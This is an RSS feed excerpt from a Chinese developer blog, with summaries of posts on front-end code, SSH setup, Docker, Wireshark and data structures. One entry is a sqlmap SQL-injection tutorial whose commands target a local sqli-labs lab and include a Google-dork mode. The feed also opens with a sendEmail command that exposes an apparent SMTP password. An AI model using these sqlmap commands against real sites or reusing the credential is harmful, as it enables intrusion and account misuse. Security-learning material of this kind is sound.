12312311231@qq.com -s smtp.163.com -u &#34;主题测试&#34; -o message-content-type=html -o message-charset=utf-8 -o tls=no -xu ttlsafrom@163.com -xp HUKINXIAW -m &#34;test&#34; Feb 15 09:22:15 localhost sendEmail[3536]: Email was sent successfully!</description>
    </item>
    <item>
      <title>element ui table 导出excel表格</title>
      <link>https://bchobby.github.io/posts/3365df402c268fa89edcb9592ff0b2a4/</link>
      <pubDate>Sun, 09 Oct 2022 16:37:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3365df402c268fa89edcb9592ff0b2a4/</guid>
      <description>1.安装相关依赖 xlsx file-saver npm intall --save xlsx npm intall --save file-saver 2.在组件头里边引入插件 import FileSaver from &#34;file-saver&#34;; import XLSX from &#34;xlsx&#34;; 3.定义导出Excel表格事件 exportExcel() { let fix = document.querySelector(&#34;.el-table__fixed&#34;); let wb; if (fix) { //判断要导出的节点中是否有fixed的表格，如果有，转换excel时先将该dom移除，然后append回去 可以避免行重复 wb = XLSX.utils.table_to_book( document.querySelector(&#34;#table&#34;).removeChild(fix) ); document.querySelector(&#34;#table&#34;).appendChild(fix); } else { wb = XLSX.utils.table_to_book(document.querySelector(&#34;#table&#34;)); } let wbout = XLSX.write(wb, { bookType: &#34;xlsx&#34;, bookSST: true, type: &#34;array&#34;, }); try { //文件名可以自定义 FileSaver.saveAs( new Blob([wbout], { type: &#34;application/octet-stream&#34; }), &#34;</description>
    </item>
    <item>
      <title>vscode连接服务器免密码登录</title>
      <link>https://bchobby.github.io/posts/6c1ac90b30f5e96a42e9e0f541cffd0b/</link>
      <pubDate>Sun, 09 Oct 2022 14:52:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c1ac90b30f5e96a42e9e0f541cffd0b/</guid>
      <description>在windows环境下，有时候需要用到linux平台开发，如果用Ubuntu虚拟机的话，用起来很不习惯，不方便切换到windows界面，可以把代码放到服务器上，用vs code或者xshell或者其他工具连接到服务器，本人习惯用vscode，对vscode如何连接到服务器做一下总结，并且可以免密码连接。&#xA;1.在vscode安装Remote Development插件&#xA;2.打开设置，输入Show Login Terminal，并勾选。&#xA;3.点击远程资源管理器，选择SSH Targets&#xA;3.点击设置按钮，会弹出ssh的congfig,然后在config里面配置服务器地址账号&#xA;H&#xA;Host是设置在vscode中显示的服务器名称，hostname是服务器地址，user是配置的ssh的用户名，ForwardAgent yes主要用于后面设置的免密码登录，Port端口号，IdentityFile ~/.ssh/id_rsa是使用服务器中的id_rsa。&#xA;4.设置好后，点击加号开始连接服务器&#xA;首次连接服务器会提示音连接到什么系统，我用的是linux，所以选择linux。&#xA;5.选择系统后，在中端可能会提示输入密码，需要输入你在服务器中的密码，如果密码输入正确，在终端会打印类似的log，说明已经连接到服务器了。&#xA;6.以上就是vscode连接服务器的步骤，但是如果你的服务器是要输入密码的话，每次重新打开vscode连接服务器都会提示输入密码，比较繁琐，所以下面的步骤是如何设置免密码连接。&#xA;（1）确保服务器账号里面有id_rsa.pub&#xA;新建终端命令窗口：&#xA;然后输入 cat id_rsa.pub &amp;gt;&amp;gt; authorized_keys命令，按回车键，在文件夹中会生成新的一个文件authorized_keys，以后连接服务器就不用输入密码了。</description>
    </item>
    <item>
      <title>谷歌浏览器：无法翻译此网页</title>
      <link>https://bchobby.github.io/posts/ab1ce01fe66ddb4c42567c04cd0d61f8/</link>
      <pubDate>Sun, 09 Oct 2022 14:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab1ce01fe66ddb4c42567c04cd0d61f8/</guid>
      <description>谷歌浏览器：无法翻译此网页 解决方案：&#xA;1.修改hosts文件 在C:\Windows\System32\drivers\etc找到hosts文件用记事本打开添加下面两行&#xA;203.208.40.66 translate.google.com&#xA;203.208.40.66 translate.googleapis.com&#xA;保存并替换原来的hosts文件&#xA;2.刷新DNS 打开控制台（win+R）&#xA;输入ipconfig /flushdns&#xA;打开谷歌浏览器尝试翻译，成功。</description>
    </item>
    <item>
      <title>win10家庭版安装docker过程及问题解决记录</title>
      <link>https://bchobby.github.io/posts/3d38b1ca8ce0c93c13def2f120d44c14/</link>
      <pubDate>Sun, 09 Oct 2022 14:08:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d38b1ca8ce0c93c13def2f120d44c14/</guid>
      <description>主要用于小白学习自用，第一次接触docker，新手遇见很多问题，顺手记录一下&#xA;1. 官网下载docker desktop win版&#xA;Install Docker Desktop on Windows | Docker Documentation&#xA;2. 安装WSL，网上查询方法，微软官网下载ubuntu20.04 Linux分发版&#xA;Manual installation steps for older versions of WSL | Microsoft Learn&#xA;（好像有的说20.04不支持docker，18.04可以，后续安装一切正常，可能是暂未用到相关功能）&#xA;3. 安装docker之后，start直接报错，Hyper-V blabla，和新机器未设置虚拟化有关&#xA;上网找解决办法，基本都是让开启Hyper-V服务，之前设置虚拟机时候了解一些，但win10家庭版根本没有Hyper-V选项，也从谈开启（后来知道只有专业版才有）&#xA;cmd打开命令窗口，输入systeminfo查看状态，显示虚拟化开启为否&#xA;重启BIOS（设备：Thinkpad L490 i3版，F1开启BIOS），打开虚拟化&#xA;再次systeminfo，显示已检测到虚拟机监控程序，该问题解决&#xA;4. restart docker，又蹦出WSL2 blabla，和WSL2内核需要更新有关&#xA;微软官网安装WSL2 Linux内核更新包&#xA;旧版 WSL 的手动安装步骤 | Microsoft Learn&#xA;查询ubuntu的WSL版本，cmd中输入&#xA;wsl --list --verbose ubuntu显示wsl版本为1&#xA;wsl --set -version ubuntu 2 成功后会提示转换成功，再次查询版本即可发现已变成2&#xA;docker中Settings - Resources - WSL Integration选项再把ubuntu选项勾选&#xA;重启电脑，restart docker，问题解决，可顺利运行拉取镜像&#xA;名词解释：</description>
    </item>
    <item>
      <title>sqlmap使用</title>
      <link>https://bchobby.github.io/posts/d277acabd95e2209e71009b9f58e035e/</link>
      <pubDate>Sun, 09 Oct 2022 10:39:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d277acabd95e2209e71009b9f58e035e/</guid>
      <description>sqlmap使用 看到sql发送的测试payload sqlmap对一个点是进行了怎样的尝试和读取数据的可以使用-v参数&#xA;0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。（默认） 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。 如果想要看到sql发送的测试payload最好的等级就是3&#xA;获取目标方式 目标url -u参数&#xA;python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-2/?id=1 --batch 从文件中加载http请求 -r参数&#xA;python sqlmap.py -r C:\Users\14980\Desktop\1.php --batch 从burp代理中获取日志 -i&#xA;python sqlmap.py -l D:\Download\test.log --batch 处理谷歌的搜索请求 -g&#xA;python sqlmap.py -g &#34;inurl:\&#34;.php?id=1\&#34;&#34; --proxy=&#34;http://127.0.0.1:7890&#34; --batch 请求 http参数 -data&#xA;此参数是把数据以POST方式提交，sqlmap会像检测GET参数一样检测POST的参数。&#xA;python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-11/ --data=&#34;uname=admin&amp;amp;passwd=Dumb&amp;amp;submit=Submit&#34; --batch HTTP cookie头 –cookie,–load-cookies,–drop-set-cookie&#xA;1、web应用需要登陆的时候。&#xA;2、你想要在这些头参数中测试SQL注入时。&#xA;可以通过抓包把cookie获取到，复制出来，然后加到–cookie参数里。&#xA;在HTTP请求中，遇到Set-Cookie的话，sqlmap会自动获取并且在以后的请求中加入，并且会尝试SQL注入。&#xA;如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。&#xA;当你使用–cookie参数时，当返回一个Set-Cookie头的时候，sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候，sqlmap会尝试注入Cookie参数&#xA;python sqlmap.py -u http://127.0.0.1/sqlilabs/Less-20/index.php --cookie &#34;uname=Dumb&#34; --batch --level 2 HTTP(S)代理 –proxy,–proxy-cred和–ignore-proxy</description>
    </item>
    <item>
      <title>word参考文献后面空格太大</title>
      <link>https://bchobby.github.io/posts/6d332c0d94ca4652e57a635b93b0d74d/</link>
      <pubDate>Sun, 09 Oct 2022 10:30:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d332c0d94ca4652e57a635b93b0d74d/</guid>
      <description>写论文的时候遇到一些空格很糟心，尤其是参考文献后面的空格太大，怎么也去不掉。如下：&#xA;当要缩小这些参考文献后面的空格时，可进行如下操作：&#xA;1、选中要缩小的序号，右击选择段落&#xA;2、将磅值修改为0.35即可.（修改成合适的磅值即可）&#xA;结果如图：</description>
    </item>
    <item>
      <title>vue3 props属性基本使用梳理</title>
      <link>https://bchobby.github.io/posts/9d82a568944ddde038bccd228f06b228/</link>
      <pubDate>Sat, 08 Oct 2022 21:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d82a568944ddde038bccd228f06b228/</guid>
      <description>前言 vue2中props属性的使用是比较统一的基本就一种方式，但是vue3中其实方式是比较多的，因此就打算梳理一下。&#xA;会按照选项式和组合式进行梳理，包括属性的定义、取值以及属性的监听。&#xA;应该是叫单文件组件和组合式API，不知道vue官方是根据什么区分的。&#xA;单文件组件 定义 这里大体上分为两大类进行说明，这两大类都需要使用defineProps来进行定义&#xA;非ts语法 const props = defineProps({ // 基础类型检查 // （给出 `null` 和 `undefined` 值则会跳过任何类型检查） propA: Number, // 多种可能的类型 propB: [String, Number], // 必传，且为 String 类型 propC: { type: String, required: true }, // Number 类型的默认值 propD: { type: Number, default: 100 }, // 对象类型的默认值 propE: { type: Object, // 对象或数组的默认值 // 必须从一个工厂函数返回。 // 该函数接收组件所接收到的原始 prop 作为参数。 default(rawProps) { return { message: &#39;hello&#39; } } }, // 自定义类型校验函数 propF: { validator(value) { // The value must match one of these strings return [&#39;success&#39;, &#39;warning&#39;, &#39;danger&#39;].</description>
    </item>
    <item>
      <title>nuxt 不支持 replaceAll 方法</title>
      <link>https://bchobby.github.io/posts/76fcf5c2f61118f8b2c39cd0721804ca/</link>
      <pubDate>Sat, 08 Oct 2022 21:25:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76fcf5c2f61118f8b2c39cd0721804ca/</guid>
      <description>在使用 nuxt 的 ssr 时使用 replaceAll 方法时报错 ‘replaceAll’ does not exist&#xA;是因为 nuxt 不支持 String 的 replaceAll 方法&#xA;可以使用 replace(new RegExp(a, &#34;gm&#34;), b) 来替代 replaceAll(a, b) 的写法</description>
    </item>
    <item>
      <title>计算机网络抓包实验记录和总结</title>
      <link>https://bchobby.github.io/posts/7073739a4e07cdd58890eedf47db0776/</link>
      <pubDate>Sat, 08 Oct 2022 19:21:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7073739a4e07cdd58890eedf47db0776/</guid>
      <description>计算机网络抓包实验记录和总结 实验准备： win10系统64位计算机抓包软件：Wireshark参考资源：教程 引言 作为学习计算机网络的学生，了解网络数据包的组成，通过对网络上传输的数据进行抓取，可以对其进行分析，对于软件的Debug很大的帮助。当然也可以通过抓取用户发送的涉及用户名和密码的数据包来获取用户的密码，这样的知识可以启发我们更多的兴趣：&#xA;（1）网络通讯的真实内容。&#xA;（2）网络故障分析。&#xA;（3）程序网络接口分析。&#xA;（4）木马通讯数据内容。&#xA;实验概述： 我们的计算机通过向网络上传和从网络下载一些数据包来实现数据在网络中的传播。通常这些数据包会由发出或者接受的软件自行处理，普通用户并不过问，这些数据包一般也不会一直保存在用户的计算机上。&#xA;这次实验中，我先对于实验资料内容进行学习，初步了解了实验的要求和步骤后，发现这次的材料不仅是包含许多生词的全英文文档，而且涉及的抓包软件版本非常旧，无法立刻上手，所以我做了一下工作:&#xA;先下载要用的软件，确定当前版本；查阅英文字典，确定实验要求文档具体内容和思路；寻找辅助教程，确保自己可以按照实验教程思路，使用新版本软件完成实验 在实验中，我观察到这次实验是一个循序渐进的探索过程，从尝试抓包，获取数据包，再到确定数据包后对其内容结构的分析和阅读，所以我一步一步按照实验要求，及时记录自己的实验过程，并且对每一步的步骤和思路做简要总结，在其中，我也遇到一些问题:&#xA;新版本软件在win10系统中会频繁停止抓包，所以我尝试这个方法后只能做到每次打开抓包一次的操作；实验要求抓包同学的数据，我为了不侵犯他人隐私，最后抓包了我的和主机ip地址不同的vm虚拟机的数据，并且成功解读；自我探索内容涉及后面课程的http协议和分层的一些知识，我提前做了一些预习工作，并且查询一定资料后，完成了这项任务，可以算作一个加分项； 最后，这次实验在软件应用层面，让我了解了许多计算机网络数据传输的细节，让我对各种数据和它们绑定的协议，结构有了更深入的了解。&#xA;实验步骤： 步骤一-捕获数据包 操作：运行软件，使用过滤器“tcp port 80”，检查“enable network name resolution”；浏览网页，进行抓包，大部分应该是绿色；原理：这个过滤器将只记录标准的网络流量，检查选项将有助于识别这些数据包是否属于你的计算机交互的信息； 步骤二-观察数据包 操作：浏览数据包，以及字段层和字节层原理：Wireshark将让我们选择一个数据包（从顶部面板），并查看其协议层，它的协议层，从头字段（在中间面板）和组成数据包的字节（在底部面板）两方面来看； 步骤三-理解数据包 操作：&#xA;我选择的抓包数据：&#xA;我对这个数据包一些结构和内容的理解： 名称内容源端口号56086目的端口号80序号0确认号0报头长度32bytes标志位0x002窗口64240校验和0xccca 原理：&#xA;步骤四-查看他人数据包-通过我的虚拟机 操作：“capture packets in promiscuous mode” 我虚拟机ip:&#xA;数据包信息：&#xA;原理：通过对抓包信息可以确定，这个数据包是通过我的vm虚拟机进行信息交互，访问教学网站课堂派（ketangpai.com），协议为TLSv1.2 步骤五-自我兴趣探索-&amp;gt;IPv6 我想要在数据包上了解其内容层次与我们课程内容的联系，试图用我上课所学到的知识解释和理解我自己实践中的捕获数据信息。&#xA;操作原理：&#xA;我的捕获：&#xA;IPv6协议数据包&#xA;内容分析：&#xA;（1）Frame: 物理层的数据帧概况&#xA;（2）Ethernet II: 数据链路层以太网帧头部信息&#xA;（3）Internet Protocol Version 6: 互联网层IP包头部信息&#xA;（4）Data：数据信息&#xA;样例中没有包含的：&#xA;Transmission Control Protocol: 传输层T的数据段头部信息，此处是TCP&#xA;Hypertext Transfer Protocol: 应用层的信息，此处是HTTP协议&#xA;通过这样的层次观察可以发现&#xA;在数据报报文中：</description>
    </item>
    <item>
      <title>yolov5结果解析</title>
      <link>https://bchobby.github.io/posts/6e8d55ec1b0b64035aed5532d8c326ac/</link>
      <pubDate>Sat, 08 Oct 2022 18:46:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e8d55ec1b0b64035aed5532d8c326ac/</guid>
      <description>Confusion matrix 以这种形式给出矩阵的值&#xA;g t c l a s s 1 gt_{class1} gtclass1​ g t c l a s s 2 gt_{class2} gtclass2​ g t c l a s s 3 gt_{class3} gtclass3​background FP p r e d c l a s s 1 pred_{class1} predclass1​ p r e d c l a s s 2 pred_{class2} predclass2​ p r e d c l a s s 3 pred_{class3} predclass3​background FN 若是分类的完美，则应当只有对角线是高峰，其余都是0（除了最后一行和最后一列）.</description>
    </item>
    <item>
      <title>css之sticky定位</title>
      <link>https://bchobby.github.io/posts/91f456e78edad28391a0e314355998b1/</link>
      <pubDate>Sat, 08 Oct 2022 17:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91f456e78edad28391a0e314355998b1/</guid>
      <description>1.属性介绍：&#xA;sticky定位（粘性定位），指的是基于用户的滚动位置来定位，默认情况下它表现就和relative定位一样，但是当页面滚动区域大于你的目标区域（即sticky对应的元素区域）时，它的表现和fixed定位一样。&#xA;元素定位也同样需要根据所设定的top,left,right,bottom来呈现。&#xA;2.sticky定位的缺点：&#xA;存在兼容性问题&#xA;Internet Explorer, Edge 15 及更早 IE 版本不支持 sticky 定位。 Safari 需要添加-webkit前缀。&#xA;3.案例：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;sticky&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .userList-title{ padding: 10px; background-color: greenyellow; position: -webkit-sticky; position: sticky; top:0; } .user-list-item{ padding: 10px; background: pink; } .user-list-item:nth-child(odd){ background-color: coral; } .phone{ margin-top: 10px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;userList-title&#34;&amp;gt;用户列表&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;user-list-item&#34;&amp;gt; &amp;lt;div class=&#34;username&#34;&amp;gt;张三&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;phone&#34;&amp;gt;18989898989&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; .</description>
    </item>
    <item>
      <title>Selenium基础 — CSS选择器定位大全</title>
      <link>https://bchobby.github.io/posts/f1b6d1374b0694f80c2d3826fb157be4/</link>
      <pubDate>Sat, 08 Oct 2022 15:37:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1b6d1374b0694f80c2d3826fb157be4/</guid>
      <description>1、css属性定位 css选择器策略示例说明#id#telA选择id=&#34;telA&#34;的所有元素。.class.telA选择 class=&#34;telA”的所有元素。[属性名=属性值][name=telA]除了id和class属性，其他属性的定位格式[attribute][target]选择带有target 属性所有元素。**选择所有元素。 2、css属性值模糊匹配定位 css选择器策略示例说明[attribute^=value]a[src^=&#34;https&#34;]选择其src 属性值以&#34;https”开头的每个&amp;lt;a&amp;gt;元素。[attribute$=value]a[src$=&#34;.pdf&#34;]选择其src属性以&#34;.pdf“结尾的所有&amp;lt;a&amp;gt;元素。[attribute*=value]a[src*=&#34;abc&#34;]选择其src 属性中包含“abc&#34;子串的每个&amp;lt;a&amp;gt;元素。[attribute~=value]a[title~=flower]定位标签属性title值中有独立flower词汇的节点[attribute=value]a[lang=en]用于选取带有以指定值开头的属性值的元素。 注意：[attribute|=value]&#xA;该值必须是整个单词，比如 lang=&#34;en&#34;，或者后面跟着连字符，比如 lang=&#34;en-us&#34;。&#xA;3、css标签定位 css选择器策略示例说明elementp定位所有&amp;lt;p&amp;gt;元素。标签名[属性名=属性值]input#telA定位id属性值为telA的所有&amp;lt;input&amp;gt;元素 4、css层级关系定位 css选择器策略示例说明element,elementdiv,p选择所有 &amp;lt;div&amp;gt; 元素和所有 &amp;lt;p&amp;gt; 元素。element elementdiv p选择 &amp;lt;div&amp;gt; 元素内部的所有 &amp;lt;p&amp;gt; 元素。包括子孙后代。element&amp;gt;elementdiv&amp;gt;p选择父元素为 &amp;lt;div&amp;gt; 元素的所有 &amp;lt;p&amp;gt; 元素。只包括子代。element+elementdiv+p选择紧接在 &amp;lt;div&amp;gt; 元素之后的所有 &amp;lt;p&amp;gt; 元素。同辈元素。 示例：&#xA;css选择器策略示例说明需要使用 &amp;gt; 或 空格表示层级关系语法父标签名[父标签属性名=属性值]&amp;gt;子标签名p#p1&amp;gt;input定位id属性值为p1的&amp;lt;input&amp;gt;元素父标签名[父标签属性名=属性值] 子标签名p#p1 input同上 5、css索引定位 css选择器策略示例说明:only-childp:only-child选择属于其父元素的唯一子元素的每个 &amp;lt;p&amp;gt; 元素。:nth-child(n)p:nth-child(2)选择属于其父元素的第二个子元素的每个 &amp;lt;p&amp;gt; 元素。:nth-last-child(n)p:nth-last-child(2)同上，从最后一个子元素开始计数。:nth-of-type(n)p:nth-of-type(2)选择属于其父元素第二个 &amp;lt;p&amp;gt; 元素的每个 &amp;lt;p&amp;gt; 元素。:nth-last-of-type(n)p:nth-last-of-type(2)同上，但是从最后一个子元素开始计数。 6、css逻辑运算定位 css选择器策略逻辑定位示例标签名[属性名1=属性值1][属性名2=属性值2]示例input[type=&#39;telA&#39;][placeholder=&#39;电话A&#39;]说明同时匹配多个属性 7、css元素状态定位 选择器例子例子描述:emptyp:empty选择没有子元素的每个 &amp;lt;p&amp;gt; 元素（包括文本节点）。:target#news:target选择当前活动的 #news 元素。:enabledinput:enabled选择每个启用的 &amp;lt;input&amp;gt; 元素。:disabledinput:disabled选择每个禁用的 &amp;lt;input&amp;gt; 元素:checkedinput:checked选择每个被选中的 &amp;lt;input&amp;gt; 元素。:not(selector):not(p)选择非 &amp;lt;p&amp;gt; 元素的每个元素。 七 、总结 如果元素有明确id，name，class属性时，使用对应的基本定位方法。如果没有id，name，class属性时，或id，name，class属性是动态/不唯一的时候，使用XPath和css_selector定位。定位页面超链接使用link_text和partial_link_text定位可使用XPath和css_selector定位的时候，优先使用css_selector。</description>
    </item>
    <item>
      <title>Java 中 List 集合 Stream 流详解</title>
      <link>https://bchobby.github.io/posts/784ab90a6826bdc2779cd35a7e219c66/</link>
      <pubDate>Sat, 08 Oct 2022 15:08:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/784ab90a6826bdc2779cd35a7e219c66/</guid>
      <description>一、Stream流介绍 在JDK8时，JAVA新增了lambda表达式，它与 java.io 包里的 InputStream和 OutputStream是完全不同的概念，他更跟流没有任何关系。它也不同于 StAX 对 XML解析的 Stream，也不是 Amazon Kinesis 对大数据实时处理的Stream。&#xA;JDK8 中的 Stream 是对集合（Collection）对象功能的增强，它借助于lambda表达式，更优雅的表达风格，极大的提高编程效率和程序可读性。它针对于对集合对象进行各种非常便利、高效的聚合操作，或者大批量数据操作。不多说，上用法。&#xA;二丶Stream流实现与传统方式实现对比 **案例：**找出列表中包含张三且姓名长度为2的名字&#xA;2.1、传统方式实现 package com.controller; import java.util.ArrayList; public class Aoo { public static void main(String[] args) { // 1.定义一个集合 ArrayList&amp;lt;String&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); list.add(&#34;张三&#34;); list.add(&#34;张四&#34;); list.add(&#34;四&#34;); list.add(&#34;张四&#34;); list.add(&#34;张四&#34;); list.add(&#34;张四&#34;); list.add(&#34;张四&#34;); // 2.挑选list中包含张三的 ArrayList&amp;lt;String&amp;gt; list1 = new ArrayList&amp;lt;&amp;gt;(); for (String s : list) { if (s.startsWith(&#34;张三&#34;)){ list1.add(s); } } System.out.println(&#34;挑选list包含张三的结果：&#34;+list1); // 3.再从list1中挑选挑选名字长度为2的 ArrayList&amp;lt;String&amp;gt; list2 = new ArrayList&amp;lt;&amp;gt;(); for (String s : list1) { if (s.</description>
    </item>
    <item>
      <title>【python】端调用cmd命令</title>
      <link>https://bchobby.github.io/posts/6eafb8e49c8e4b81ad7b3aa0075de034/</link>
      <pubDate>Sat, 08 Oct 2022 14:33:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eafb8e49c8e4b81ad7b3aa0075de034/</guid>
      <description>一、python中的os模块 OS模块调用CMD命令有两种方式：os.popen()和os.system()都被当前进程调用。&#xA;OS.system 无法获取返回值。操作完成后，程序在下面执行。用法如：OS.system(“ipconfig”)。&#xA;OS.popen带返回值的，如何获取返回值。如：&#xA;p=os.popen(cmd)&#xA;print（p.read()）得到的是个字符串。&#xA;这两个都是用当前进程来调用，也就是说它们都是阻塞式的。&#xA;如：&#xA;import os file = &#34;./best.onnx&#34; cmd = f&#34;mo --help&#34; p = os.popen(cmd) print(p.read()) 二、管道subprocess模块 运行原理会在当前进程下面产生子进程。&#xA;import subprocess file = &#34;./best.onnx&#34; cmd = f&#34;mo --help&#34; subprocess.check_output(cmd, shell=True) Refercence: Python如何调用Cmd命令</description>
    </item>
    <item>
      <title>SpringBoot解耦方案：异步、事件、消息、定时任务</title>
      <link>https://bchobby.github.io/posts/24c659674c2845ed7060650d75a2fbd2/</link>
      <pubDate>Sat, 08 Oct 2022 10:56:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24c659674c2845ed7060650d75a2fbd2/</guid>
      <description>四种异步&#xA;@Async、WebAsyncTask、Callable、DeferredResult&#xA;https://www.jb51.net/article/212399.htm&#xA;SpringBoot事件发布和监听详解&#xA;https://www.jb51.net/article/229046.htm&#xA;SpringBoot系列——事件发布与监听&#xA;SpringBoot系列——事件发布与监听 - huanzi-qch - 博客园&#xA;事件和消息之间的重要区别是，不希望对事件进行进一步处理。&#xA;事件发布后，所有系统都可以忽略它，而不会造成任何伤害。&#xA;但是，一条消息带有一个假设，即某处将处理该消息。&#xA;https://www.jianshu.com/p/265da3c778e1&#xA;事件：只能由用户通过外设的输入产生。&#xA;消息：（产生消息的来源有三个）&#xA;（1） 由操作系统产生。&#xA;（2） 由用户触发的事件转换而来。&#xA;（3） 由另一个消息产生。&#xA;事件和消息的区别_顺其自然~的博客-CSDN博客_事件和消息&#xA;定时任务与消息队列的区别&#xA;定时任务作业更倾向于批处理，MQ倾向于逐条处理；&#xA;定时任务与消息队列的区别_时小浅的博客-CSDN博客_定时任务和消息队列&#xA;生产者消费者模式、订阅发布模式及观察者模式之间的区别：&#xA;生产者消费者只能消费一次，同一条消息的多个消费者之间会存在竞争关系；（消息）&#xA;订阅发布模式则不存在竞争关系；（事件）&#xA;观察者模式中，被观察者需要维护观察者的信息以便事件发生时能够通知到对方；这也导致观察者模式存在逻辑上的耦合；&#xA;笔记【生产者消费者模式、订阅发布模式及观察者模式之间的区别】_臧馆长的博客-CSDN博客_消费者订阅者模式</description>
    </item>
    <item>
      <title>JavaScript中数组的操作</title>
      <link>https://bchobby.github.io/posts/a5e002e495f45aa5efa3c92675a51de4/</link>
      <pubDate>Fri, 07 Oct 2022 21:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5e002e495f45aa5efa3c92675a51de4/</guid>
      <description>Array Array描述常见操作创建数组通过索引访问数组元素遍历数组添加元素到数组末尾删除数组末尾的元素添加元素到数组头部删除数组头部元素找出某个元素在数组中的索引通过索引删除某个元素复制一个数组拼接两个数组分割数组，转为字符串数组排序数组转为字符串判断一个变量是否为一个数组反转数组 Array JavaScript 的 Array 对象是用于构造数组的全局对象，数组是类似于列表的高阶对象。&#xA;描述 数组是一种类列表对象，它的原型中提供了遍历和修改元素的相关操作。JavaScript 数组的长度和元素类型都是非固定的。因为数组的长度可随时改变，并且其数据在内存中也可以不连续，所以 JavaScript 数组不一定是密集型的，这取决于它的使用方式。一般来说，数组的这些特性会给使用带来方便，但如果这些特性不适用于你的特定使用场景的话，可以考虑使用类型数组 TypedArray。&#xA;常见操作 创建数组 // 创建一个空数组 let arr=[] //创建一个附带数据的数组 let arr1=[&#39;苹果14&#39;,&#39;华为meta50&#39;,&#39;iqoo11Pro&#39;] 通过索引访问数组元素 let phone=arr1[2] console.log(phone);//iqoo11Pro //访问数组中最后一条最后数据 let last =arr1[arr1.length-1] console.log(last);//iqoo11Pro 遍历数组 item：是遍历数组中的每一条数据&#xA;index：索引值&#xA;arr1.forEach(function(item,index){ console.log(item+&#39;---&#39;+index); }) //苹果14---0 //华为meta50---1 //iqoo11Pro---2 添加元素到数组末尾 push：在数组末尾进行添加数据&#xA;arr1.push(&#34;小米12&#34;,&#34;小米11&#34;) console.log(arr1); [&#39;苹果14&#39;, &#39;华为meta50&#39;, &#39;iqoo11Pro&#39;, &#39;小米12&#39;, &#39;小米11&#39;] 删除数组末尾的元素 pop：删除数组的最后一条数据，返回值就是删除的那个值&#xA;let delLast=arr1.pop() console.log(delLast);//iqoo11Pro console.log(arr1);//[&#39;苹果14&#39;, &#39;华为meta50&#39;] 添加元素到数组头部 unshift：在数组头部位置进行添加数据，可以同时添加多个&#xA;arr1.unshift(&#34;苹果4&#34;,&#39;苹果5&#39;) console.log(arr1); //[&#39;苹果4&#39;, &#39;苹果5&#39;, &#39;苹果14&#39;, &#39;华为meta50&#39;&#39;iqoo11Pro&#39;] 删除数组头部元素 shift：删除数组头部的那条数据。&#xA;这里要和unshift区分清楚，unshift是在头部添加元素&#xA;注意：返回值是删除的那条数据&#xA;let x= arr1.</description>
    </item>
    <item>
      <title>线索二叉树</title>
      <link>https://bchobby.github.io/posts/e34ef0bb4b31bc213eeca94af7b858bc/</link>
      <pubDate>Fri, 07 Oct 2022 20:49:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e34ef0bb4b31bc213eeca94af7b858bc/</guid>
      <description>一、线索二叉树的相关概念 1、由于二叉树链表中空指针域的数量较多：具有n个结点的二叉链表中，一共有2n个指针域;因为n个结点中有n-1个孩子，即2n个指针域中，有n-1个用来指示结点的左右孩子，其余n+1个指针域为空。&#xA;2、线索二叉树的定义：如果某个结点的左孩子为空，则将空的左孩子指针域改为指向其前驱;如果某结点的右孩子为空，则将空的右孩子指针域改为指向其后继——这种改变指向的指针称为 “线索&#34;。加上了线索的二叉树称为线索二叉树，对二叉树按某种遍历次序使其变为线索二叉树的过程叫线索化。&#xA;3、研究线索二叉树的原因:当用二叉链表作为二叉树的存储结构时,可以很方便地找到某个结点的左右孩子;但一般情况下，无法直接找到该结点在某种遍历序列中的(因为在不同的遍历序列中，树结点的排列是不同的）前驱和后继结点。然而线索二叉树可以解决该问题。&#xA;二、线索二叉树的结构 1、为区分Irchid和rchild指针到底是指向孩子的指针，还是指向前驱或后继的指针，对二叉链表中每个结点增设两个标志域Itag和rtag，并约定：&#xA;Itag = 0 Ichild指向该结点的左孩子&#xA;Itag = 1 Ichild指向该结点的前驱&#xA;rtag = 0 rchild指向该结点的右孩子&#xA;rtag = 1 rchild指向该结点的后继&#xA;2、因此，结点的结构为：&#xA;3、因此线索二叉树的存储结构表示如下代码所示&#xA;typedef struct BiThrNode( int data; int ltag, rtag; struct BiThrNode *lchild,rchild;) BiThrNode,*BiThrTree ; 三、先序线索二叉树 1、一个简单的例子，有助于理解，如下图所示：&#xA;四、实际构建线索二叉树 1、增设了一个头结点:&#xA;Itag=0, lchild指向根结点，&#xA;rtag=1, 